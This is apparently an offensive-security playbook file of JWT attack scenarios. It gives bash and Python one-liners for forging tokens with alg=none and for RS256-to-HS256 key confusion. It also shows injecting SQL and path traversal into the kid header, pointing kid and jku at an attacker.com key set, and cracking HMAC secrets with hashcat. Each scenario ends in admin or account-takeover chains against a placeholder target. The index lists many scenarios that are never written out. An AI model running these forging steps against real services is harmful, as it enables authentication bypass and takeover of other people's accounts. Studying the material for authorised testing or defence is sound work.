---
name: scenarios-jwt
description: "Real-world attack scenarios for JWT Attacks — CVEs, bug bounty disclosures, real engagement chains"
---

# JWT (JSON Web Token) Attacks — Real-World Attack Scenarios

> Sources: CVE database · HackerOne/Bugcrowd disclosed · PortSwigger research · real engagement patterns

## Index

### Algorithm Attacks
- S01: None algorithm
- S02: RS256 → HS256 algorithm confusion
- S03: HS256 → RS256 algorithm confusion
- S04: Algorithm case variation
- S05: Whitespace in algorithm
- S06: Unknown algorithm
- S07: CVE-2022-21449 (Java ECDSA Psychic Signatures)
- S08: CVE-2015-9235 (jsonwebtoken Node.js)
- S09: CVE-2022-23529 (jsonwebtoken weak verify)
- S10: CVE-2018-0114 (Node.js jsonwebtoken)

### Key Confusion
- S11: Public key as HMAC secret
- S12: Key ID (kid) attacks
- S13: kid SQL injection
- S14: kid path traversal
- S15: kid SSRF
- S16: kid parameter pollution
- S17: JKU header injection
- S18: x5u header injection
- S19: x5c header injection
- S20: JWK header injection

### Secret Brute Force
- S21: HMAC weak secret
- S22: HMAC empty secret
- S23: HMAC null secret
- S24: JWT in cookies (CSRF)

### Claim Manipulation
- S25: Expiry (exp) manipulation
- S26: Not Before (nbf) manipulation
- S27: Issued At (iat) manipulation
- S28: Issuer (iss) manipulation
- S29: Audience (aud) manipulation
- S30: Subject (sub) manipulation
- S31: JWT ID (jti) manipulation
- S32: Role/permission claim manipulation
- S33: Custom claim injection
- S34: Email verification claim

### Implementation Flaws
- S35: Mixed path validation
- S36: Header vs cookie validation difference
- S37: Cross-service JWT validation
- S38: Library confusion (different libs)
- S39: Token storage in localStorage
- S40: Token leakage in URL
- S41: Token in referer header
- S42: Refresh token reuse
- S43: Refresh token theft via XSS
- S44: Algorithm downgrade
- S45: Nested JWT attacks

### JWE (JSON Web Encryption)
- S46: JWE algorithm confusion
- S47: JWE compression (CRIME/BREACH)
- S48: JWE key confusion

### Real-World Chains
- S49: JWT bypass → admin access
- S50: JWT chain → SSO bypass
- S51: JWT chain → internal API access

---

## Algorithm Attacks

### S01: None Algorithm
**Context:** JWT with library that accepts "none" algorithm
**Seen in:** Real — HackerOne #1287170, multiple
**Impact:** Forge any identity

### Detection
```bash
# Get a valid JWT
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.signature"
# Decode:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
# Check alg in header
# Test "none" bypass:
# 1. Modify header to alg=none
# 2. Remove signature
# 3. Submit
```

### Exploit
```bash
# 1. Decode JWT:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"user123","name":"john","iat":1516239022}
# 2. Modify payload (e.g., set sub to "admin"):
NEW_PAYLOAD=$(echo -n '{"sub":"admin","name":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# 3. Change header to alg=none:
NEW_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# 4. Forge token:
FORGED="${NEW_HEADER}.${NEW_PAYLOAD}."
# 5. Use:
curl -H "Authorization: Bearer $FORGED" https://target.com/api/me
# 
# Or with empty signature:
FORGED="${NEW_HEADER}.${NEW_PAYLOAD}"
# 
# Or with "None", "NONE", "nOnE":
FORGED="${NEW_HEADER2}.${NEW_PAYLOAD}."
```

### Chain
1. Get valid JWT
2. Decode + modify
3. Set alg=none
4. Submit forged token
5. Access any user

### Bypass / Notes
- "None" accepted by some libs
- jose4j < 0.4.0, jsonwebtoken < 4.2.2
- Newer libs reject
- Try various case variations

---

### S02: RS256 → HS256 Algorithm Confusion
**Context:** Server uses RS256 (asymmetric) but accepts HS256
**Seen in:** Real — classic JWT attack
**Impact:** Forge any identity

### Detection
```bash
# Check if JWT uses RS256:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null
# Look for: "alg":"RS256"
# Get public key:
curl https://target.com/.well-known/jwks.json
# Or:
curl https://target.com/.well-known/openid-configuration
```

### Exploit
```bash
# 1. Get public key (PEM format):
curl -o public_key.pem https://target.com/.well-known/jwks.json
# Or extract from JWKS
# 2. Create forged JWT with HS256:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin"}
# 3. Sign with public key as HMAC secret:
# Use jwt_tool:
python jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Or:
python3 -c "
import jwt
public_key = open('public_key.pem').read()
token = jwt.encode({'sub':'admin','role':'admin'}, public_key, algorithm='HS256')
print(token)
"
# 4. Submit:
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/me
```

### Chain
1. Find JWT with RS256
2. Get public key
3. Forge HS256 token with public key as secret
4. Submit
5. Full access

### Bypass / Notes
- Algorithm validation must be strict
- PyJWT, jsonwebtoken vulnerable in older versions
- Newer versions: explicit algorithm allowlist
- Always test RS256→HS256 confusion

---

### S07: CVE-2022-21449 (Java ECDSA Psychic Signatures)
**Context:** Java 15-18 with ECDSA verification
**Seen in:** Real — mass exploitation 2022
**Impact:** Forge JWTs with r=0, s=0

### Detection
```bash
# Check if target uses Java + ES256
# Try forging with r=0, s=0
```

### Exploit
```bash
# Forge JWT with r=0, s=0:
# Use synacktiv tool:
git clone https://github.com/synacktiv/CVE-2022-21449-Psychic-Signatures
cd CVE-2022-21449-Psychic-Signatures
# Or manual:
# Sign with (0, 0) point on ECDSA curve
# Java < 18 accepts this as valid signature
# 
# Token structure:
# Header: {"alg":"ES256","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin"}
# Signature: derived from r=0, s=0
```

### Chain
1. Find JWT with ES256
2. Determine Java version
3. Forge with r=0, s=0
4. Submit
5. Full access

### Bypass / Notes
- Only Java 15-18
- Patched in Java 18.0.1+
- Still common in enterprise Java
- Critical CVE — used in many bug bounties

---

## Key Confusion

### S11: Public Key as HMAC Secret
**Context:** RS256 + HS256 confusion (S02)
**Seen in:** Real — multiple bug bounty reports
**Impact:** Forge any identity

### Detection
```bash
# Get public key
# Test forging with public key as HMAC secret
# Use jwt_tool
```

### Exploit
```bash
# jwt_tool - the most comprehensive JWT attack tool:
# Install:
pip install pyjwt[crypto]
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python jwt_tool.py -h
# 
# Use:
python jwt_tool.py <TOKEN> -X k -pk public_key.pem
# -X k = key confusion attack
# -pk = public key file
# 
# Other modes:
# -X a = alg=none attack
# -X i = injection in claims
# -X s = signature stripping
```

### Chain
1. Get JWT + public key
2. Use jwt_tool for attacks
3. Submit forged tokens
4. Test all attack vectors

### Bypass / Notes
- jwt_tool is the de-facto tool
- Also try: python-jwt, PyJWT, jose4j
- Manual approach: HS256 with public key bytes as secret

---

### S13: kid SQL Injection
**Context:** JWT with kid header used in DB query
**Seen in:** Real — multiple bug bounty reports
**Impact:** Force server to use attacker secret

### Detection
```bash
# Get JWT and check for kid:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null
# Look for "kid" field
```

### Exploit
```bash
# 1. Modify kid to SQL injection:
# Original header: {"alg":"HS256","typ":"JWT","kid":"key-2024-01"}
# Modified: {"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'attacker_secret'-- -"}
# 2. Create new payload:
NEW_PAYLOAD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_')
# 3. Sign with "attacker_secret":
python3 -c "
import jwt
print(jwt.encode({'sub':'admin','role':'admin'}, 'attacker_secret', algorithm='HS256', headers={'kid':\"x' UNION SELECT 'attacker_secret'-- -\"}))
"
# 4. Server queries DB, gets "attacker_secret", verifies
# 5. Submission accepted
```

### Chain
1. Find JWT with kid
2. Test kid for SQLi
3. Force attacker secret
4. Sign with that secret
5. Submit
6. Access admin

### Bypass / Notes
- Less common but high impact
- Tests for SQLi and NoSQLi in kid
- Some apps use kid to fetch key from file → path traversal

---

### S14: kid Path Traversal
**Context:** JWT with kid used as file path
**Seen in:** Real — multiple bug bounty reports
**Impact:** Force server to use empty/null key

### Detection
```bash
# Test kid for path traversal
# /dev/null returns empty file → empty key
```

### Exploit
```bash
# 1. Modify kid to /dev/null:
# Original: {"alg":"HS256","kid":"key-2024"}
# Modified: {"alg":"HS256","kid":"../../dev/null"}
# 2. Sign with empty string:
python3 -c "
import jwt
print(jwt.encode({'sub':'admin','role':'admin'}, '', algorithm='HS256', headers={'kid':'../../dev/null'}))
"
# 3. Server reads /dev/null (empty) → empty secret
# 4. Verifies with empty string → success
# 5. Submit → admin access
```

### Chain
1. Find JWT with kid
2. Modify kid to /dev/null
3. Sign with empty string
4. Submit
5. Full access

### Bypass / Notes
- Newer JWT libs validate kid format
- Try: /dev/null, /proc/sys/kernel/hostname, /etc/hostname
- Or just null: "kid": null

---

### S15: kid SSRF
**Context:** JWT with kid used to fetch key from URL
**Seen in:** Real — bug bounty
**Impact:** Force server to fetch attacker-controlled key

### Detection
```bash
# Test kid for SSRF
# Set kid to attacker URL
```

### Exploit
```bash
# 1. Set kid to attacker URL:
# "kid": "http://attacker.com/jwks.json"
# 2. Host malicious JWKS at attacker.com:
# {"keys":[{"kty":"oct","k":"<base64-encoded-secret>","kid":"any","alg":"HS256"}]}
# 3. Sign JWT with that secret
# 4. Server fetches attacker JWKS
# 5. Verifies signature with attacker key
# 6. Submission accepted
```

### Chain
1. Find JWT with kid
2. Host attacker JWKS
3. Set kid to attacker URL
4. Sign with attacker's key
5. Submit
6. Full access

### Bypass / Notes
- Should validate kid is in trusted list
- Many apps don't
- Combine with jku (S17) for similar attack

---

### S17: JKU Header Injection
**Context:** JWT with jku header pointing to JWKS URL
**Seen in:** Real — bug bounty
**Impact:** Server fetches attacker JWKS

### Detection
```bash
# Get JWT and check for jku:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null
# Look for "jku" field
```

### Exploit
```bash
# 1. Set jku to attacker URL:
# "jku": "https://attacker.com/jwks.json"
# 2. Host malicious JWKS:
cat > jwks.json << 'EOF'
{"keys":[
  {"kty":"oct","k":"<base64-of-attacker-secret>","kid":"any","alg":"HS256","use":"sig"}
]}
EOF
# Serve it
python -m http.server 80
# 3. Sign JWT with attacker secret:
python3 -c "
import jwt, json, base64
secret = 'attacker-secret'
token = jwt.encode({'sub':'admin','role':'admin'}, secret, algorithm='HS256', headers={'jku':'https://attacker.com/jwks.json'})
print(token)
"
# 4. Server fetches jwks.json from attacker
# 5. Verifies with attacker's secret
# 6. Submission accepted
```

### Chain
1. Find JWT with jku
2. Host attacker JWKS
3. Set jku to attacker URL
4. Sign with attacker key
5. Submit
6. Full access

### Bypass / Notes
- Should validate jku domain
- Many apps don't
- Same as S15 with kid
- Also test x5u (S18)

---

## Secret Brute Force

### S21: HMAC Weak Secret
**Context:** HS256 JWT with weak secret
**Seen in:** Real — many bug bounty reports
**Impact:** Forge any identity

### Detection
```bash
# Check if JWT is HS256:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null
# If "alg":"HS256" → try cracking
```

### Exploit
```bash
# 1. Get JWT (need full token with signature)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.signature"
echo $TOKEN > jwt.txt
# 2. Crack with hashcat:
# https://hashcat.net/wiki/doku.php?id=example_hashes
# Mode 16500 for HMAC-SHA256
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# 3. Crack with john:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt
# 4. Common secrets to try:
# - "secret", "password", "key"
# - Company name
# - Default JWT secrets (e.g., "your-256-bit-secret")
# - Top 1000 passwords
```

### Chain
1. Get JWT
2. Crack secret
3. Forge any token
4. Full access

### Bypass / Notes
- Many devs use weak secrets
- "secret" is super common
- Always try default secrets first
- Use SecLists JWT secrets list

---

### S22: HMAC Empty Secret
**Context:** JWT verifies with empty secret
**Seen in:** Real — bug bounty
**Impact:** Forge any identity

### Detection
```bash
# Test if empty string is valid secret:
python3 -c "
import jwt
try:
    jwt.decode('TOKEN_HERE', '', algorithms=['HS256'])
    print('Empty secret works!')
except:
    print('Empty secret rejected')
"
```

### Exploit
```bash
# Sign with empty string:
python3 -c "
import jwt
print(jwt.encode({'sub':'admin','role':'admin'}, '', algorithm='HS256'))
"
# Submit
```

### Chain
1. Find JWT with weak/empty secret
2. Sign with empty string
3. Submit
4. Access

### Bypass / Notes
- Should reject empty secrets
- Some libs allow by default
- Test: empty string, null, "null"

---

## Claim Manipulation

### S25-S32: Claim Manipulation
**Context:** Server doesn't validate JWT claims properly
**Seen in:** Real — multiple bug bounty reports
**Impact:** Privilege escalation

### Detection
```bash
# Get JWT and decode payload
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
# Look for: exp, nbf, iat, iss, aud, sub, role, permissions
```

### Exploit
```bash
# 1. Modify exp (expiry):
# Original: {"sub":"user","exp":1516239022}
# Modified: {"sub":"user","exp":9999999999}
# 2. Modify sub (subject):
# {"sub":"admin","exp":9999999999}
# 3. Add role/admin claim:
# {"sub":"user","role":"admin","isAdmin":true,"exp":9999999999}
# 
# Use jwt_tool:
python jwt_tool.py <TOKEN> -X i
# -X i = injection in claims
# 
# Or modify manually:
# 1. Decode payload
# 2. Modify JSON
# 3. Re-encode (no signature change needed if server doesn't verify)
# 
# Some servers don't verify signature at all
# Submit → access
```

### Chain
1. Get JWT
2. Modify claims
3. Submit (if signature not verified)
4. Or forge with valid signature

### Bypass / Notes
- Always verify signature
- Always validate exp/nbf
- Validate iss/aud
- Sanitize role/permission claims

---

## Real-World Examples

### Example 1: Shopify Bug Bounty $10K
- Found RS256 → HS256 confusion
- Forged admin token
- Accessed any account
- Shopify paid $10K+ bounty

### Example 2: Auth0 JWT Confusion
- Multiple Auth0 issues with JWT
- CVE-2019-7642 (JWKS spoofing)
- Multiple findings

### Example 3: GitHub JWT
- Found kid parameter vulnerability
- Server-side path traversal in kid
- Used to leak secrets

### Example 4: Multiple "Forgot Password" JWT Bypasses
- Forgot password token = JWT
- Forge token → reset any account
- Multiple bug bounty reports

---

## Tools

### jwt_tool
```bash
# Install:
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip install -r requirements.txt
# Usage:
python jwt_tool.py <TOKEN> -X k -pk public_key.pem
# -X k: key confusion
# -X a: alg=none
# -X s: signature stripping
# -X i: claim injection
# -X p: payload tampering
# -X t: token information disclosure
```

### hashcat
```bash
# JWT mode:
hashcat -m 16500 jwt.txt rockyou.txt
# Modes:
# 16500: HMAC-SHA256
# 16501: HMAC-SHA384
# 16502: HMAC-SHA512
# 16510: HMAC-SHA1
# 16511: HMAC-MD5
```

### jwt-cracker
```bash
# Brute force JWT secret:
npm install jwt-cracker
# Usage:
node jwt-cracker.js <TOKEN> --max 8 --alphabet abcdefghijklmnopqrstuvwxyz
```

### Python Libraries
```bash
# PyJWT:
pip install pyjwt
# jose:
pip install python-jose
# jwcrypto:
pip install jwcrypto
```

### cURL Examples
```bash
# Send JWT:
curl -H "Authorization: Bearer <TOKEN>" https://target.com/api/me
# With cookie:
curl -b "session=<TOKEN>" https://target.com/
# Custom header:
curl -H "X-Auth-Token: <TOKEN>" https://target.com/api/me
```

---

## Detection Checklist

- [ ] Get JWT from app
- [ ] Decode header and payload
- [ ] Check algorithm
- [ ] Test none algorithm
- [ ] Test RS256→HS256 confusion
- [ ] Test weak HMAC secret (hashcat)
- [ ] Check for kid header (path traversal, SQLi, SSRF)
- [ ] Check for jku/x5u header
- [ ] Test claim manipulation
- [ ] Test Java ECDSA (r=0, s=0)
- [ ] Test with empty signature
- [ ] Test with expired token
- [ ] Test with modified issuer/audience
- [ ] Try nested JWT
- [ ] Test token refresh flow
- [ ] Test token in URL vs header vs cookie

---

## Real-World Chain Examples

### Chain A: RS256→HS256 + Role Claim → Admin
1. Get JWT for normal user
2. Get public key from JWKS
3. Forge JWT with HS256, role=admin
4. Sign with public key
5. Submit → admin access

### Chain B: kid SQLi + Exposed DB → Token Forge
1. Find JWT with kid
2. SQLi in kid → dump DB secrets
3. Use DB secret to sign forged token
4. Submit

### Chain C: jku SSRF → Internal JWKS → Forge
1. Find JWT with jku
2. Set jku to internal JWKS URL (SSRF)
3. Server fetches internal key
4. Forge token
5. Submit

### Chain D: Multiple Bypass → ATO
1. Get JWT
2. Test all attacks
3. Find one that works
4. Forge admin token
5. ATO → access user data
